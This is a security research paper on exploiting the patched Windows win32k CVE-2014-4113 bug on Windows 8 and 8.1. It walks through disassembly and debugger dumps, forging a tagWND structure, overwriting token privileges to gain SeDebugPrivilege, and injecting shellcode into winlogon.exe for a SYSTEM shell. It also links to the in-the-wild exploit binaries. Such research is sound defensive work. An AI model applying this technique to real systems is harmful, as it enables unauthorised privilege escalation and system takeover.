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1 Introduction 
On the 14th of October 2014 both CrowdStrike1 and FireEye2 published a blog post describing a new 

zero-day privilege escalation vulnerability on Windows. The CrowdStrike article explains that this 

new vulnerability was identified in the process of tracking a supposedly highly advanced adversary 

group named HURRICANE PANDA and has been actively exploited in the wild for at least five month. 

The vulnerability was apparently found and reported to Microsoft by both CrowdStrike and FireEye. 

It was subsequently fixed by Microsoft in MS14-058. Shortly after, the binaries described in the blog 

posts were found in the wild3. At the time of this writing there are several good analysis4 of the 

exploit based on those binaries as well as a working Metasploit module which supports all current 

32-bit and 64-bit versions of Windows with the exception of Windows 8 and Windows 8.1. 

According to Microsoft5  the vulnerability affects most Windows versions up to Windows 8.1. 

Interestingly the FireEye blog entry in contrast states that Windows 8, Windows Server 2012 and 

later do not have the same vulnerability. The exploit used by the HURRICANE PANDA group also only 

worked up to Windows 7. 

So I was curious if and how the vulnerability might be exploitable on the most current version of 

Windows. This paper describes the results of my analysis and demonstrates how the vulnerability can 

be successfully exploited on Windows 8 and Windows 8.1. 

2 Vulnerability Details 
The following analysis is based on the 64-bit variant of the exploit found in the wild on a Windows 7 

(x64) system and the other publicly available information. The analyzed binary has the MD5 

checksum 70857e02d60c66e27a173f8f292774f1. 

The vulnerability was already described in detail elsewhere6, so we only focus on the relevant details. 

The vulnerability exists due to a missing return value check within the win32k.sys driver. This driver is 

responsible for the kernel-mode part of the Windows subsystem. It handles window management 

and provides the Graphics Device Interface (GDI) among other things. 

The function user32!TrackPopupMenu can be used to trigger the vulnerability from user mode. The 

responsible function handling that API in the kernel is win32k!xxxHandleMenuMessages. This 

function calls win32k!xxxMNFindWindowFromPoint which usually returns the address of a 

win32k!tagWND structure. However in the case of a failure, the function can also return the error 

values -1 and -5. The caller checks for the return value -1, but it missing a check for -5. Since this 

failure case is not caught, the function continues assuming to have a valid pointer to a 

win32k!tagWND structure but continues using the value -5 (0xfffffffb). The code then passes this 

value to the win32k!xxxSendMessage function which is just a thin wrapper around 

win32k!xxxSendMessageTimeout (called win32k!xxxSendTransformableMessageTimeout on 

Windows 8.1). 

                                                           
1 http://blog.crowdstrike.com/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-
4113-hurricane-panda/ 
2 http://www.fireeye.com/blog/technical/targeted-attack/2014/10/two-targeted-attacks-two-new-zero-
days.html 
3 http://uploaded.net/file/twlxreql 
4 https://www.codeandsec.com/CVE-2014-4113-Detailed-Vulnerability-and-Patch-Analysis 
5 https://technet.microsoft.com/en-us/library/security/ms14-058.aspx 
6 http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-
vulnerability-cve-2014-4113/ 



The public exploit allocates memory in user mode at the address 0xfffffffb using the 

ZwAllocateVirtualMemory API and places a crafted win32k!tagWND structure at that address. When 

the vulnerability is triggered the kernel accesses the fake structure in user mode. The structure is 

prepared in such a way to force a code path which then executes a function pointer from the 

win32k!tagWND structure. This function pointer points to a simple kernel mode shellcode which 

replaces the pointer to the primary token in the current EPROCESS structure with a pointer to the 

token of a process running with SYSTEM privileges. 

3 Exploitation on Windows 8.1 
The technique used in the public exploit is not directly applicable to Windows 8 since SMEP 

(Supervisor Mode Execution Prevention) will prevent the execution of the shellcode located on user-

mode pages from within kernel mode context. While the call instruction in 

win32k!xxxSendTransformableMessageTimeout which was misused in the public exploit still exists in 

Windows 8, Windows 8.1 completely replaced that code with a call instruction based on an index 

read from the win32k!tagWND structure which is properly bounds checked. 

.text:FFFFF97FFF12623C                 mov     rax, [rdi+90h] 

.text:FFFFF97FFF126243                 cmp     rax, 7  ; [tagWND+0x90] < 7 

.text:FFFFF97FFF126247                 jb      short loc_FFFFF97FFF126250  

.text:FFFFF97FFF126249  

.text:FFFFF97FFF126249 loc_FFFFF97FFF126249:  

.text:FFFFF97FFF126249                 xor     eax, eax  

.text:FFFFF97FFF12624B                 jmp     loc_FFFFF97FFF126322  

.text:FFFFF97FFF126250 

.text:FFFFF97FFF126250 loc_FFFFF97FFF126250: 

.text:FFFFF97FFF126250                 lea     r10, gServerHandlers  

.text:FFFFF97FFF126257                 mov     r9, r15  

.text:FFFFF97FFF12625A                 mov     r8, r13  

.text:FFFFF97FFF12625D                 mov     edx, esi  

.text:FFFFF97FFF12625F                 mov     rcx, rdi  

.text:FFFFF97FFF126262                 call    qword ptr [r10+rax*8] 

.text:FFFFF97FFF126266                 test    rbx, rbx  

.text:FFFFF97FFF126269                 jz      loc_FFFFF97FFF126322 

So in Windows 8.1 this call instruction can no longer be used to take control over the program flow. 

However, as we’ll see in the next section a carefully crafted win32k!tagWND structure can still be 

used to successfully exploit the vulnerability. 

3.1 Crafting the win32k!tagWND structure 
To exploit the issue on Windows 8.1 we allocate a fake win32k!tagWND7 structure in user mode. 

When the vulnerability is triggered, the win32k!xxxSendTransformableMessageTimeout function first 

reads a 64-bit value stored at offset 0x10 in the win32k!tagWND structure and compares it against 

the win32k!gptiCurrent kernel pointer. If we provide an invalid value at this offset the code takes an 

error branch. The next instructions read a WORD from offset 0 and use that as a memory index. The 

byte referenced by the index is compared against the value 0x01. 

.text:FFFFF97FFF126122 loc_FFFFF97FFF126122: 

.text:FFFFF97FFF126122                 mov     r8, cs:gptiCurrent  

.text:FFFFF97FFF126129                 mov     r9, [rdi+10h] ; r9 = [tagWND+0x10]  

.text:FFFFF97FFF12612D                 mov     [rbp+2Fh+var_60], r8  

.text:FFFFF97FFF126131                 cmp     r8, r9  ; valid gptiCurrent pointer in struct?  

.text:FFFFF97FFF126134                 jz      valid_pti_pointer  

.text:FFFFF97FFF12613A 

.text:FFFFF97FFF12613A                 mov     eax, [rdi] ; eax = [tagWND] 

.text:FFFFF97FFF12613C                 movzx   ecx, ax  

.text:FFFFF97FFF12613F                 mov     rax, cs:qword_FFFFF97FFF3B4518  

                                                           
7 Starting with Windows 8 the symbol information for the win32k!tagWND structure is no longer provided by 
Microsoft. Due to this reason this paper only describes the relevant parts of the structure by offset. 



.text:FFFFF97FFF126146                 imul    ecx, cs:dword_FFFFF97FFF3B4520  

.text:FFFFF97FFF12614D                 test    byte ptr [rcx+rax+11h], 1  

.text:FFFFF97FFF126152                 jz      short loc_FFFFF97FFF126169 

If we set the first DWORD in the win32k!tagWND structure to 0, the check for the 0x1 byte will fail 

and the code ends up calling win32k!xxxInterSendMessageEx, passing the pointer to our crafted 

win32k!tagWND structure as the first argument. 

The function win32k!xxxInterSendMessageEx again reads the pointer at offset 0x10 in the 

win32k!tagWND structure and tries to dereference it to read another pointer. This new pointer is 

then used to read a value from offset 0x170 which is compared against the value previously returned 

by the function ntoskrnl!PsGetCurrentProcessWin32Process. 

.text:FFFFF97FFF017C32                 mov     rax, [r15+10h] ; rax = [tagWND+0x10] 

.text:FFFFF97FFF017C36                 mov     rdx, [rax+170h]  ; rdx = [[tagWND+0x10]+0x170] 

.text:FFFFF97FFF017C3D                 cmp     rdx, rdi  

.text:FFFFF97FFF017C40                 jz      loc_FFFFF97FFF017D13 

We prepare the win32k!tagWND structure so that the double dereference will succeed and read the 

value 0 from within our own user mode memory. Next, the function win32k!xxxInterSendMessageEx 

will read a byte from offset 0x2b0 which can be an arbitrary value except for the value 0x20. 

.text:FFFFF97FFF017F6A                 mov     r10, [rsp+118h+arg_28]  

.text:FFFFF97FFF017F72                 mov     eax, [r10+420h]  

.text:FFFFF97FFF017F79                 test    al, 20h  

.text:FFFFF97FFF017F7B                 jz      loc_FFFFF97FFF018023 

After all these conditions are met, win32k!xxxInterSendMessageEx ends up calling 

win32k!IsWindowDesktopComposed, passing a pointer to our crafted win32k!tagWND structure as 

an argument. 

.text:FFFFF97FFF01868E                 mov     rcx, r14        ; struct tagWND *  

.text:FFFFF97FFF018691                 call    IsWindowDesktopComposed(tagWND * const)  

.text:FFFFF97FFF018696                 test    eax, eax 

.text:FFFFF97FFF018698                 jz      loc_FFFFF97FFF0186D7 

This function will read a value from the win32k!tagWND structure at offset 0x18. If the read value is 

0, the function will just return 0 without dereferencing any further members of the win32k!tagWND 

structure. 

.text:FFFFF97FFF06FEA0                 mov     rcx, [rcx+18h]  

.text:FFFFF97FFF06FEA4                 xor     eax, eax  

.text:FFFFF97FFF06FEA6                 test    rcx, rcx  

.text:FFFFF97FFF06FEA9                 jz      short locret_FFFFF97FFF06FEBD  

.text:FFFFF97FFF06FEAB                 mov     rcx, [rcx+8]  

.text:FFFFF97FFF06FEAF                 test    rcx, rcx  

.text:FFFFF97FFF06FEB2                 jz      short locret_FFFFF97FFF06FEBD  

.text:FFFFF97FFF06FEB4                 mov     eax, [rcx+0FCh]  

.text:FFFFF97FFF06FEBA                 and     eax, 1  

.text:FFFFF97FFF06FEBD  

.text:FFFFF97FFF06FEBD locret_FFFFF97FFF06FEBD:  

.text:FFFFF97FFF06FEBD                 retn 

If all these conditions are met and all the other stars align, win32k!xxxInterSendMessageEx will 

eventually reach the following interesting code: 

.text:FFFFF97FFF0187FB loc_FFFFF97FFF0187FB: 

.text:FFFFF97FFF0187FB                 add     rax, 1D0h 

.text:FFFFF97FFF018801                 cmp     [rax], r15 ; list head == NULL  

.text:FFFFF97FFF018804                 jz      short last_element_found  

.text:FFFFF97FFF018806                 nop     word ptr [rax+rax]  

.text:FFFFF97FFF01880B  

.text:FFFFF97FFF01880B find_last_element: 

.text:FFFFF97FFF01880B                 mov     rax, [rax] ; ptr = [ptr]  

.text:FFFFF97FFF01880E                 add     rax, 8   ; ptr =+ 8 



.text:FFFFF97FFF018812                 cmp     [rax], r15  ; [ptr] == NULL 

.text:FFFFF97FFF018815                 jnz     short find_last_element 

.text:FFFFF97FFF018817  

.text:FFFFF97FFF018817 last_element_found: 

.text:FFFFF97FFF018817                 mov     [rax], rdi ; Store kernel addr into free next pointer 

This code basically implements a linked list append operation which tries to append the value found 

in the RDI register to the linked list. The value of this register is a kernel address we don't directly 

control. The code will first read the list head stored at offset 0x60 inside the win32k!tagWND 

structure and check if it's NULL. In that case the value is directly stored inside the win32k!tagWND 

structure as the new list head. If the win32k!tagWND structure already stores a list head at offset 

0x60, the code will start traversing the linked list until it finds a list entry with a next pointer set to 

NULL and overwrite this pointer with the kernel address stored in the RDI register. 

 

This code gives us a very useful primitive and basically allows us to overwrite 8 consecutive NUL 

bytes at an arbitrary address in memory with a kernel address. Although we don't directly control the 

value written and we have the additional constraint that we only can overwrite NUL bytes we will see 

that this is enough to successfully exploit the vulnerability on Windows 8.1. 

3.2 Finding an overwrite target 
The number of things in kernel memory we could overwrite is basically endless. We are looking for a 

memory location with an initial 64-bit value of 0, which, when overwritten with some more or less 

arbitrary data, will allow us to escalate privileges. In addition we must be able to leak the address to 

this location in memory from user mode. 

We chose to use a neat technique described by Cesar Cerrudo in his “Easy local Windows Kernel 

exploitation” paper8. We can leak the address of Windows token objects from user mode using the 

NtQuerySystemInformation(SystemHandleInformation) API. This allows us to get the address of the 

embedded SEP_TOKEN_PRIVILEGES structure. The idea is to overwrite this structure in the primary 

token in a controlled way to add specific new privileges which then allows us to escalate. The 

additional benefit of using this technique instead of overwriting a potential function pointer is that 

we don't need to care about bypassing SMEP at all. 

So let's take a look at the SEP_TOKEN_PRIVILEGES structure of the primary token of a standard user. 

kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffc000ba3d4060+0x40  

   +0x000 Present          : 0x00000006`02880000  

   +0x008 Enabled          : 0x800000  

   +0x010 EnabledByDefault : 0x800000  

kd> db ffffc000ba3d4060+0x40 L18  

ffffc000`ba3d40a0  00 00 88 02 06 00 00 00-00 00 80 00 00 00 00 00  

                                                           
8 http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf 



ffffc000`ba3d40b0  00 00 80 00 00 00 00 00 

The three fields in the SEP_TOKEN_PRIVILEGES structure represent bitmasks. Each privilege is 

represented by a single bit. The bitmask we are interested in is the Enabled field which represents 

the effective privileges which are granted by the Windows kernel. 

As can be seen in the dump of the structure there are no consecutive 8 NUL bytes in the structure we 

could overwrite. However removing privileges from the token may unset a few bits and might lead to 

the required 8 NUL bytes. 

We first open a handle to the primary token of our process and build a restricted token with the 

maximum set of privileges disabled. 

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken)) { 

 // Could not open process token 

} 

if (!CreateRestrictedToken(hProcessToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, &hRestrictedToken)) 

{ 

 // Could not create restricted token 
} 

This results in the following SEP_TOKEN_PRIVILEGES structure in the restricted token: 

kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffc000ba3d4060+0x40  

   +0x000 Present          : 0x800000 

   +0x008 Enabled          : 0x800000  

   +0x010 EnabledByDefault : 0x800000  

kd> db ffffc000ba3d4060+0x40 L18  

ffffc000`ba3d40a0  00 00 80 00 00 00 00 00-00 00 80 00 00 00 00 00  

ffffc000`ba3d40b0  00 00 80 00 00 00 00 00 

As can be seen this still does not provide us with 8 consecutive NUL bytes. However we can use the 

AdjustTokenPrivileges API function with the DisableAllPrivileges flag to disable all enabled privileges. 

if (!AdjustTokenPrivileges(hRestrictedToken, TRUE, NULL, 0, NULL, NULL)) { 

 // Could not adjust privileges 
} 

Calling this function effectively clears all bits in the 64-bit Enabled field, setting it to 0. 

kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffc000ba3d4060+0x40  

   +0x000 Present          : 0x800000 

   +0x008 Enabled          : 0  

   +0x010 EnabledByDefault : 0x800000  

kd> db ffffc000ba3d4060+0x40 L18  

ffffc000`ba3d40a0  00 00 80 00 00 00 00 00-00 00 00 00 00 00 00 00  
ffffc000`ba3d40b0  00 00 80 00 00 00 00 00 

This way we could now overwrite the Enabled field. However the problem is that we don't control 

the kernel address being written. Writing an arbitrary address at the Enabled field might enable 

some interesting privileges, however we can't rely on it. The only thing we can probably safely 

assume about the kernel address is the fact that the two most significant bytes of the address are set 

to 0xff. However the most interesting privileges are represented in the first few bytes of the Enabled 

bitmask. So instead of writing the kernel address directly into the Enabled field, we partially 

overwrite the Present field so that the two 0xff bytes of the kernel address end up at the second and 

third byte of the Enabled field. This way we are guaranteed to enable at least the following 

privileges: 

Bit Privilege 

8 SeSecurityPrivilege 

9 SeTakeOwnershipPrivilege 

10 SeLoadDriverPrivilege 



11 SeSystemProfilePrivilege 

12 SeSystemtimePrivilege 

13 SeProfileSingleProcessPrivilege 

14 SeIncreaseBasePriorityPrivilege 

15 SeCreatePagefilePrivilege 

16 SeCreatePermanentPrivilege 

17 SeBackupPrivilege 

18 SeRestorePrivilege 

19 SeShutdownPrivilege 

20 SeDebugPrivilege 

21 SeAuditPrivilege 

22 SeSystemEnvironmentPrivilege 

23 SeChangeNotifyPrivilege 

Among many interesting privileges this enables e.g. the SeDebugPrivilege which we are exploiting in 

the following in order to perform the privilege escalation. 

3.3 Combining all steps 
In order to successfully exploit the vulnerability we first allocate a fake win32k!tagWND structure in 

user mode using the ZwAllocateVirtualMemory API at address 0xfffffffb. We set all fields of the 

structure as described in section 3.1. 

In the next step we create a restricted token with all privileges removed from the Enabled field and 

leak the kernel address to the SEP_TOKEN_PRIVILEGES structure of this token using the 

NtQuerySystemInformation(SystemHandleInformation) API. We increase this address by 3 in order to 

point into the middle of the Present field and store this address (subtracted by 8) at offset 0x60 

within the crafted win32k!tagWND structure. 

After everything was setup we trigger the vulnerability which will overwrite the privileges field of the 

restricted token with an arbitrary kernel pointer, effectively enabling, among others, the 

SeDebugPrivilege privilege. 

In order to take advantage of this new privilege we impersonate the security context of the restricted 

token using the ImpersonateLoggedOnUser API. Finally we just inject our shellcode into a process 

running as the SYSTEM user such as winlogon.exe using the WriteProcessMemory API and execute it 

via CreateRemoteThread. This successfully provides us with a shell running as SYSTEM. 

 



4 Conclusion 
It should come as no surprise that it is possible to exploit a kernel vulnerability where we are able to 

fully control the content of a moderately large kernel structure such as win32k!tagWND. The 

described exploit was specifically developed on Windows 8.1, but it turned out that the same 

technique worked on Windows 8 as well. 

Compared to the public exploit where the function returning the bad win32k!tagWND reference and 

the call to the overwritten function pointer is pretty close to each other, this is different for the 

described technique on Windows 8 and Windows 8.1. A lot of code is executed until the code is 

reached which finally triggers the memory corruption. Since we didn’t fully reverse engineer all the 

code in between, there could be certain unexpected code paths which could make the described 

exploit fail. Although the exploit worked quite reliably in our tests, we don’t make any claims for a 

hundred percent reliable exploit. So consider it proof of concept  

In summary, even with the presence of protection mechanisms like SMEP, with full control over a 

moderately large kernel structure there are enough possibilities to trigger a simple memory 

corruption in order to achieve the desired goal and be able to escalate privileges without overwriting 

any function pointers or executing any shellcode at all. 


